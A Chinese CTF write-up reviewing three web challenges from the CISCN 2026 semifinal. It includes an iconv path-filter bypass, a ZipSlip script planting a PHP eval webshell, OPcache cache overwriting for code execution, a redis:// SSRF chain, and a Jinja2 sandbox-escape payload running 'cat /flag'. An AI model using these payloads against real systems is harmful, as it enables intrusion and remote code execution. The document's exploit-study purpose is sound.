CCB&CISCN2026半决赛复盘 这次比赛都忙着蒸防御了,没想到这次的攻击比防御简单,导致我大半时间都在防easy_time和Intra,结果还没防过去
最后也是得了个赛区三等奖第一个,就差一点啊(哭)
然后本次也是来赛后马后炮一下复盘一下三道Web( Java的我甚至连解压密码都不知道 )
Break 首先是一个 User 的序列化:
1 2 3 4 5 6 7 8 9 10 class User { public string $name = "guest" ; public string $encoding = "UTF-8" ; public string $basePath = "/var/www/html/uploads/" ; public function __construct (string $name = "guest" ) { $this ->name = $name ; } }
可以将 basePath 直接改成根目录,这样就可以直接读取根目录下的文件了
然后是位于 preview.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 $f = (string )($_GET ['f' ] ?? "" );if ($f === "" ) { http_response_code (400 ); echo "Missing parameter: f" ; exit ; } $rawPath = $user ->basePath . $f ;if (preg_match ('/flag|\/flag|\.\.|php:|data:|expect:/i' , $rawPath )) { http_response_code (403 ); echo "Access denied" ; exit ; } $convertedPath = @iconv ($user ->encoding, "UTF-8//IGNORE" , $rawPath );if ($convertedPath === false || $convertedPath === "" ) { http_response_code (500 ); echo "Conversion failed" ; exit ; } $content = @file_get_contents ($convertedPath );if ($content === false ) { http_response_code (404 ); echo "Not found" ; exit ; }
可以看到是先对 $rawPath 进行检查,看是否包含读 FLAG 的命或者是 FLAG 文件,然后进行一次编码后读取
不过可以注意到的是:
1 @iconv ($user ->encoding, "UTF-8//IGNORE" , $rawPath );
看到了 UTF-8//IGNORE 想是不是可以利用UTF-8不能够编解码的符号,然后忽略后变成 /flag,所以有了以下的 payload:
1 /preview.php?f=%FEf%00l%00a%00g
Fix 因为知道官方的 payload 肯定不是直接带着 flag 打进来的,所以只需要更改一下过滤逻辑即可:
1 2 3 4 5 if (!preg_match ('/flag|\/flag|\.\.|php:|data:|expect:/i' , $rawPath )) { http_response_code (403 ); echo "Access denied" ; exit ; }
Easy_time Break 首先就是登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if flask.request.method == 'POST' : username = flask.request.form.get('username' , '' ) password = flask.request.form.get('password' , '' ) h1 = hashlib.md5(password.encode('utf-8' )).hexdigest() h2 = hashlib.md5(h1.encode('utf-8' )).hexdigest() next_url = flask.request.args.get("next" ) or flask.url_for("dashboard" ) if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde" : resp = flask.make_response(flask.redirect(next_url)) resp.set_cookie('visited' , 'yes' , httponly=True , samesite='Lax' ) resp.set_cookie('user' , username, httponly=True , samesite='Lax' ) return resp return flask.render_template('login.html' , error='用户名或密码错误' , username=username), 401 return flask.render_template('login.html' , error=None , username='' )
可以爆破密码是 admin/secret,当然爆破不出来也没关系
仔细看这个cookie设置和cookie的判断:
1 2 def is_logged_in () -> bool : return flask.request.cookies.get("visited" ) == "yes" and bool (flask.request.cookies.get("user" ))
只需要你改个包就可以通过登录验证
然后进去可以看到插件上传和留言板,先读读源码看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 def safe_extract_zip (zip_path: Path, dest_dir: Path ) -> list [str ]: dest_dir = dest_dir.resolve() extracted = [] with zipfile.ZipFile(zip_path, "r" ) as zf: for info in zf.infolist(): name = info.filename.replace("\\" , "/" ) if name.endswith("/" ): continue if name.startswith("/" ) or (len (name) >= 2 and name[1 ] == ":" ): raise ValueError("Illegal path in zip" ) target = (dest_dir / name).resolve() if os.path.commonpath([str (dest_dir), str (target)]) != str (dest_dir): raise ValueError("ZipSlip blocked" ) target.parent.mkdir(parents=True , exist_ok=True ) with zf.open (info, "r" ) as src, open (target, "wb" ) as dst: shutil.copyfileobj(src, dst) extracted.append(str (target.relative_to(dest_dir))) return extracted
这里的插件解压判断文件命名并没有判断目录穿越,然后他的默认目录是:
1 2 3 UPLOAD_DIR = BASE_DIR / "uploads" PLUGIN_DIR = BASE_DIR / "plugins" AVATAR_DIR = BASE_DIR / "static" / "uploads" / "avatars"
所以可以将文件命名成目录穿越,然后将其解压到 html 下,并且直接写入一个shell
比如说:
1 2 3 4 import zipfilewith zipfile.ZipFile("exp.zip" , "w" ) as zipf: zipf.writestr("../../../../../../../var/www/html/shell.php" , "<?php eval($_GET[1]);?>" )
但是写入之后怎么利用呢?可以再看看个人后台
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 def fetch_remote_avatar_info (url: str ): if not url: return None parsed = urllib.parse.urlparse(url) if parsed.scheme not in {"http" , "https" }: return None if not parsed.hostname: return None req = urllib.request.Request(url, method="GET" , headers={"User-Agent" : "question-app/1.0" }) try : with urllib.request.urlopen(req, timeout=3 ) as resp: content = resp.read() return { "content_snippet" : content, "status" : getattr (resp, "status" , None ), "content_type" : resp.headers.get("Content-Type" , "" ), "content_length" : resp.headers.get("Content-Length" , "" ), } except Exception: return None
可以看到它可以访问一个URL,那我们直接访问刚刚写入的shell即可
1 http://127.0.0.1:80/shell.php?1=system("id");
Fix 这题我又是该登录逻辑,改cookie校验,改压缩包命名校验,就是过不了
然后看到了一篇文章:
第十九届ciscn&第三届长城杯半决赛WP | tiran’s blog
能看到是通过 phpinfo.php 看到了开启了一个叫 OPcache(我就说他在html文件夹下放三个php文件有啥用,预期解应该也是这个)
Opache是php中一个生成缓存文件的拓展,当我们访问一个php文件时,他会产生一个缓存文件,下次访问该php文件时,就是直接根据缓存文件回显页面了,然后这个 Opahce的默认路径是 /tmp
当Opcache第一次缓存文件时, /tmp/system_id/var/www/html/phpinfo.php.bin
想要RCE,就直接覆盖掉他生成的这个 bin 文件,但是我们这里要怎么知道 system_id 呢?
php Opcache插件进行RCE - Zer0peach can’t think
直接根据版本号和 phpinfo 中的 Zend Extension Build 更改即可
1 2 3 4 <?php var_dump (md5 ("8.2.6API420220829,NTSBIN_4888(size_t)8\002" ));
然后就可以进行覆盖了
1 2 3 4 5 6 7 8 9 import zipfilefrom pathlib import Pathsrc = Path("index.php.bin" ) with zipfile.ZipFile("ep.zip" , "w" ) as zipf: zipf.writestr( "../../../../../../../tmp/45b8be9467d6ed29438f06cfe9cee9f6/var/www/html/index.php.bin" , src.read_bytes() )
然后这个 index.php.bin 文件,里面包含一句话木马和你的 systemid + 时间戳,借用一下图片:
然后覆盖后直接远程URL访问即可
IntraBadge 长城杯半决赛三道 Web—从 redis SSRF、ZipSlip 到 glibc iconv 溢出-先知社区
Break 首先看登录
1 2 3 4 5 6 7 8 9 def _get_user (): return safe_key(request.cookies.get("user" , "guest" )) def safe_key (s: str ) -> str : s = (s or "" ).strip() if not s: return "guest" s = re.sub(r"[^a-zA-Z0-9_\-]" , "_" , s)[:32 ] return s or "guest"
这里直接从Cookie中取 user=xxx,实际上你填 admin 还是什么都是可以的
然后是一个 Jinja2 的模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 def _get_tpl (user ): k = f"tpl:{user} " if not rdb.exists(k): rdb.set ( k, """ <div class="badge"> <div class="badge-left"> <div class="avatar"> {% if avatar_ok %} <img src="/avatar/file" alt="avatar"/> {% else %} <div class="avatar-ph">No Avatar</div> {% endif %} </div> </div> <div class="badge-right"> <div class="title">{{ name }}</div> <div class="sub">IntraBadge · Internal</div> <div class="meta">Last refresh: {{ avatar_updated or "never" }}</div> </div> </div> """ , ) return (rdb.get(k) or b"" ).decode("utf-8" , "ignore" )
用户编辑过后被传入 Redis 的 tpl:{user} 中
设置头像相关:
1 2 3 4 5 6 7 8 9 def _get_avatar_url (user ): return (rdb.get(f"avatar_url:{user} " ) or b"" ).decode("utf-8" , "ignore" ) def _get_avatar_blob (user ): data = rdb.get(f"avatarbin:{user} " ) or b"" ctype = (rdb.get(f"avatarctype:{user} " ) or b"" ).decode("utf-8" , "ignore" ) updated = (rdb.get(f"avatarupd:{user} " ) or b"" ).decode("utf-8" , "ignore" ) return data, ctype, updated
fetch_resource 将内容存进 avatarbin:{user} 中
/preview 页面使用了:
1 2 3 <div style ="margin-top:12px;" > {{ rendered|safe }} </div >
|safe 标记告诉 Jinja2 这段内容是安全的,所以用户模板里输出的任何 HTML 都会被原样渲染
fetch_resource:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 def fetch_resource (url: str , timeout: float = 2.0 ): u = urlparse((url or "" ).strip()) scheme = (u.scheme or "" ).lower() if scheme in ("http" , "https" ): resp = requests.get(url, timeout=timeout, allow_redirects=True ) ctype = resp.headers.get("Content-Type" , "application/octet-stream" ) data = (resp.content or b"" )[:200000 ] return data, ctype, {"scheme" : scheme, "status" : resp.status_code} if scheme == "redis" : host = u.hostname or "127.0.0.1" port = u.port or 6379 path = (u.path or "/" ).lstrip("/" ) parts = path.split("/" , 1 ) db = int (parts[0 ]) if parts and parts[0 ].isdigit() else 0 key = parts[1 ] if len (parts) > 1 else "" r = redis.Redis(host=host, port=port, db=db, socket_timeout=1 ) val = r.get(key) or b"" return val[:200000 ], "application/octet-stream" , {"scheme" : "redis" , "db" : db, "key" : key} raise ValueError("unsupported scheme" )
这段代码解析 redis://host:port/db/key 格式的 URL,用 redis.Redis 客户端直接连接指定的 Redis 实例并执行 GET 命令
也就是说你传一个 redis://127.0.0.1:6379/0/flag,它就会连本地 Redis 读取 FLAG
再来看头像上传的逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 @app.post("/avatar" ) def avatar_set (): user = _get_user() url = (request.form.get("avatar_url" , "" ) or "" ).strip() rdb.set (f"avatar_url:{user} " , url[:2000 ]) return redirect(url_for("dashboard" )) @app.post("/avatar/refresh" ) def avatar_refresh (): user = _get_user() url = _get_avatar_url(user) if not url: return redirect(url_for("dashboard" )) try : data, ctype, meta = fetch_resource(url) except Exception: rdb.set (f"avatarbin:{user} " , b"" ) rdb.set (f"avatarctype:{user} " , "application/octet-stream" ) rdb.set (f"avatarupd:{user} " , "fetch failed" ) return redirect(url_for("dashboard" )) rdb.set (f"avatarbin:{user} " , data[:MAX_AVATAR]) rdb.set (f"avatarctype:{user} " , ctype[:120 ]) rdb.set (f"avatarupd:{user} " , "just now" ) rdb.set (f"avatarmeta:{user} " , str (meta)[:500 ]) return redirect(url_for("dashboard" ))
没对头像的URL进行任何检查,接下来的 /avatar/refresh 路由会从 Redis 取出 URL 传给 fetch_resource,所以就有了以下利用链:
1 2 3 4 5 6 7 8 9 POST /avatar, avatar_url=redis://127.0.0.1:6379/0/flag → "redis://127.0.0.1:6379/0/flag" 写入 Redis 键 avatar_url:<user> POST /avatar/refresh → 从 Redis 读出 URL → fetch_resource 解析 redis:// scheme → 连接本地 Redis,GET flag → 读到的值存入 avatarbin:<user> GET /preview(模板中写 {{ avatar_raw_text() }}) → 渲染时调用闭包读 avatarbin:<user> → flag 值显示在页面上
当然,FLAG 如果在根目录下,那这样就不会成功,还是得RCE
回到 app.py 的开头,可以看到这样的一段:
1 2 3 _user_tpl_env = SandboxedEnvironment( autoescape=True , )
可以跟进看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 class SandboxedEnvironment (Environment ): def is_safe_attribute (self, obj: t.Any , attr: str , value: t.Any ) -> bool : """The sandboxed environment will call this method to check if the attribute of an object is safe to access. Per default all attributes starting with an underscore are considered private as well as the special attributes of internal python objects as returned by the :func:`is_internal_attribute` function. """ return not (attr.startswith("_" ) or is_internal_attribute(obj, attr)) def unsafe_undefined (self, obj: t.Any , attribute: str ) -> Undefined: """Return an undefined object for unsafe attributes.""" return self .undefined( f"access to attribute {attribute!r} of" f" {type (obj).__name__!r} object is unsafe." , name=attribute, obj=obj, exc=SecurityError, ) def is_internal_attribute (obj: t.Any , attr: str ) -> bool : """Test if the attribute given is an internal python attribute. For example this function returns `True` for the `func_code` attribute of python objects. This is useful if the environment method :meth:`~SandboxedEnvironment.is_safe_attribute` is overridden. >>> from jinja2.sandbox import is_internal_attribute >>> is_internal_attribute(str, "mro") True >>> is_internal_attribute(str, "upper") False """ if isinstance (obj, types.FunctionType): if attr in UNSAFE_FUNCTION_ATTRIBUTES: return True elif isinstance (obj, types.MethodType): if attr in UNSAFE_FUNCTION_ATTRIBUTES or attr in UNSAFE_METHOD_ATTRIBUTES: return True elif isinstance (obj, type ): if attr == "mro" : return True elif isinstance (obj, (types.CodeType, types.TracebackType, types.FrameType)): return True elif isinstance (obj, types.GeneratorType): if attr in UNSAFE_GENERATOR_ATTRIBUTES: return True elif hasattr (types, "CoroutineType" ) and isinstance (obj, types.CoroutineType): if attr in UNSAFE_COROUTINE_ATTRIBUTES: return True elif hasattr (types, "AsyncGeneratorType" ) and isinstance ( obj, types.AsyncGeneratorType ): if attr in UNSAFE_ASYNC_GENERATOR_ATTRIBUTES: return True return attr.startswith("__" )
is_internal_attribute(obj, attr)
普通函数、类方法、类 / 类型对象(type)、解释器底层对象(代码 / 追踪栈 / 帧对象)、生成器 / 协程 / 异步生成器,以双下划线 __ 开头的属性,视为内部属性
is_safe_attribute(obj, attr, value)
确认是否是内部属性之后,还直接禁止了所有以 _ 单下划线开头的字段
当属性被判定为不安全时,生成一个带安全错误的提示对象,直接阻止访问并抛出异常
然后看渲染部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 try : rendered = render_user_template( tpl, name=user, avatar_url=avatar_url, avatar_ok=avatar_ok, avatar_ctype=avatar_ctype or "" , avatar_updated=avatar_updated or "" , avatar_size=len (avatar_data), avatar_raw_text=avatar_raw_text, avatar_raw_b64=avatar_raw_b64, ) except TemplateError as e: rendered = ( f"<div class='alert alert-danger'>Template error: {type (e).__name__} </div>" )
这里传入了 avatar_raw_text=avatar_raw_text 和 avatar_raw_b64=avatar_raw_b64,但是这两个函数:
1 2 3 4 5 6 7 8 def avatar_raw_text (): try : return (avatar_data[:2000 ]).decode("utf-8" , "ignore" ) except Exception: return "" def avatar_raw_b64 (): return base64.b64encode(avatar_data[:5000 ]).decode("ascii" , "ignore" )
这两个函数是定义在 preview() 下的,也就是闭包函数,所以它们会携带 __globals__ 这样的内部属性,所以只要拿到 avatar_raw_text.__globals__ 就可以进行RCE
但是从上面的沙箱可以看到,这样的 payload 是会被直接拦截的,那该怎么办?
CVE-2025-27516:|attr 过滤器的沙箱绕过
|attr 过滤器 obj|attr("attr") → 走 do_attr 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 def do_attr (environment, obj, name ): try : name = str (name) except UnicodeError: pass else : try : value = getattr (obj, name) except AttributeError: pass else : if environment.sandboxed: environment = t.cast("SandboxedEnvironment" , environment) if not environment.is_safe_attribute(obj, name, value): return environment.unsafe_undefined(obj, name) return value return environment.undefined(obj=obj, name=name)
这里的 do_attr 通过原生 getattr 拿到的是 未经包装的原始 format
这个原始 format 方法在被调用时不受沙箱约束,可以自由访问任意属性
所以Exp:
1 2 3 4 5 6 7 8 9 10 11 12 import requestsTARGET = "http://target:5000" s = requests.Session() s.cookies.set ("user" , "admin" ) payload = '{{ avatar_raw_text|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")() }}' s.post(f"{TARGET} /template" , data={"tpl" : payload}) resp = s.get(f"{TARGET} /preview" ) print (resp.text)
看到这个payload瞬间就释怀了,果然应该先试试攻击的,这题我check失败了八次,所以这 Redis 有啥用
WSO2 Fix 听说是直接在 update.sh 中直接添加一个删除 FLAG 的命令就可以防御成功()